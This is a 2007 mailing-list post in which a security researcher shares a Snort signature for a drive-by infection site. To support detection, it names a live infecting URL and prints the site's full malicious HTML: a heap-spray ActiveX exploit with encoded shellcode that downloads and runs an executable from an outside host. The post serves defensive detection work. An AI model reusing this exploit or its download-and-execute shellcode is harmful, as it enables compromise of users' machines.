'[Bleeding-sigs] Sig for Infector download Site'

[prev in list] [next in list] [prev in thread] [next in thread] 

List:       bleeding-sigs
Subject:    [Bleeding-sigs] Sig for Infector download Site
From:       Jack Pepper <pepperjack () afferentsecurity ! com>
Date:       2007-09-10 18:45:22
Message-ID: 20070910134522.jydwha1ao0w4804g () mail ! afferentsecurity ! com
[Download RAW message or body]

Here is a rule that detects the actual bot infection:

alert tcp $EXTERNAL_NET any -> $HOME_NET 1024: (msg: "BLEEDING-EDGE  
EXPLOIT Workstation just got 0wned"; flow: from_server,established;  
content:".<TITLE>I Love ManXue"; content: "id=|39|target|39|"; within:  
64; content: "var shellcode ="; within: 64;       classtype:  
trojan-activity; sid: 1002808; rev:1; )

example:    www.5bao.net/123/tt.htm  <== Dont go here w/o protection

Now that I know that I'm looking for, I have subsequently found other  
sites hosting this same html:

<html>
<TITLE>I Love ManXue!</TITLE>
<object classid="clsid:6BE52E1D-E586-474f-A6E2-1A85A9B4D9FB"
id='target'></object>
<body>
<SCRIPT language="javascript">
         var shellcode =
unescape("%u9090"+"%u9090"+
"%uefe9%u0000%u5a00%ua164%u0030%u0000%u408b%u8b0c" +
"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" +
"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" +
"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" +
"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" +
"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" +
"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" +
"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" +
"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" +
"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" +
"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" +
"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" +
"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" +
"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" +
"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" +
"%u6946%u656c%u0041%u7468%u7074%u2F3A%u772F%u7777%u352E%u6162%u2E6F%u656E%u2F74%u3231%u2F33%u6B6F%u652E%u6578%u0000");
 </script>
<SCRIPT language="javascript">
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (x=0; x<300; x++) memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 4057) buffer+="\x0a\x0a\x0a\x0a";
buffer+="\x0a";
buffer+="\x0a";
buffer+="\x0a";
buffer+="\x0a\x0a\x0a\x0a";
buffer+="\x0a\x0a\x0a\x0a";
target.rawParse(buffer);
</script>
I Love ManXue
</body>
</html>

----------------------------------------------------------------
@fferent Security Labs:  Isolate/Insulate/Innovate  
http://www.afferentsecurity.com

_______________________________________________
Bleeding-sigs mailing list
Bleeding-sigs@bleedingthreats.net
http://lists.bleedingthreats.net/cgi-bin/mailman/listinfo/bleeding-sigs

[prev in list] [next in list] [prev in thread] [next in thread] 